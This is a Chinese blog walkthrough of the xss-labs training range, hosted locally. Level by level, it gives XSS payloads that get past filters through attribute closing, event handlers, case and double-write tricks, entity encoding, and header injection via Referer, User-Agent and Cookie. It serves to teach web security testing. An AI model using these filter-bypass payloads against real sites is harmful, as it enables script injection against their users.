XSS靶场通关详解

前言

这里作者采用phpstudy部署的xss-lab靶场,配置如下:

第一关

进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss

成功弹窗!

payload:

<script>alert(1)</script>

第二关

可以发现第二关是表单的传参点

尝试失败,意识到第二关开启了拦截

查看网站源码发现被转义

查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合

此时我们可以构造payload闭合input标签

payload:

"><script>alert(1)</script>

第三关

使用第二关的payload发现全部被转义

补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码

查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码

所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。

payload:

' onclick='alert(1)'

第四关

将第三关的payload打上去,查看源码发现前面多了一个双引号

尝试使用"进行闭合,直接弹窗

payload:

"' onclick='alert(1)'

第五关

使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签

使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签

点击此处即可弹窗

payload:

"'> <a href='javascript:alert(1)'>

第六关

将第五关的payload输入发现href增加了_

可以尝试进行大写绕过过滤

payload:

"'> <a HREF='javascript:alert(1)'>

第七关

输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过

payload:

"'> <a hrehreff='javascscriptript:alert(1)'>

第八关

输入第七关的payload,发现将我们输入的内容作为了a标签的href值

尝试javascript:alert(1),发现被编码了,尝试使用

编码后成功弹窗

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接

此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗

payload:

javascript:alert(1)//http://www.baidu.com

将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://www.baidu.com

第十关

尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框

尝试将值传给这三个隐藏的标签,执行以下url

http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4

发现第三个标签的值被修改了

此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来

payload:

http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'

第十一关

尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss

返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer

payload:

'" type='text' onclick='alert(1)'

第十二关

跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss

payload:

'" type='text' onclick='alert(1)'

第十三关

跟11和12关类似,这里换成了cookie

payload:

user='" type='text' onclick='alert(1)'

第十四关

本关出错了,直接打15关即可

第十五关

本关需要用到一个新的属性

AngularJS ng-include 指令详解-CSDN博客

可以尝试让其包含第一关,这样第一关的xss可以直接用在这里

onmouseover事件是鼠标移动到元素上会触发弹窗

payload:

http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'

第十六关

发现本关将空格进行了编码

尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可

payload:

<img%0asrc=1%0aonerror=alert(1)>

第十七关

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)

思路:闭合前面的src标签然后添加事件属性

payload:

' onmouseover=alert(1)

第十八关

跟上一关一样

第十九关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

第二十关

这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了

相关推荐
幽兰的天空43 分钟前
介绍 HTTP 请求如何实现跨域
网络·网络协议·http
lisenustc1 小时前
HTTP post请求工具类
网络·网络协议·http
心平气和️1 小时前
HTTP 配置与应用(不同网段)
网络·网络协议·计算机网络·http
心平气和️1 小时前
HTTP 配置与应用(局域网)
网络·计算机网络·http·智能路由器
qzhqbb1 小时前
web服务器 网站部署的架构
服务器·前端·架构
Mbblovey2 小时前
Picsart美易照片编辑器和视频编辑器
网络·windows·软件构建·需求分析·软件需求
北顾南栀倾寒3 小时前
[Qt]系统相关-网络编程-TCP、UDP、HTTP协议
开发语言·网络·c++·qt·tcp/ip·http·udp
GZ_TOGOGO3 小时前
PIM原理与配置
网络·华为·智能路由器
7ACE3 小时前
Wireshark TS | 虚假的 TCP Spurious Retransmission
网络·网络协议·tcp/ip·wireshark·tcpdump
果果开发ggdoc.cn3 小时前
WordPress免费证书插件
服务器·https·ssl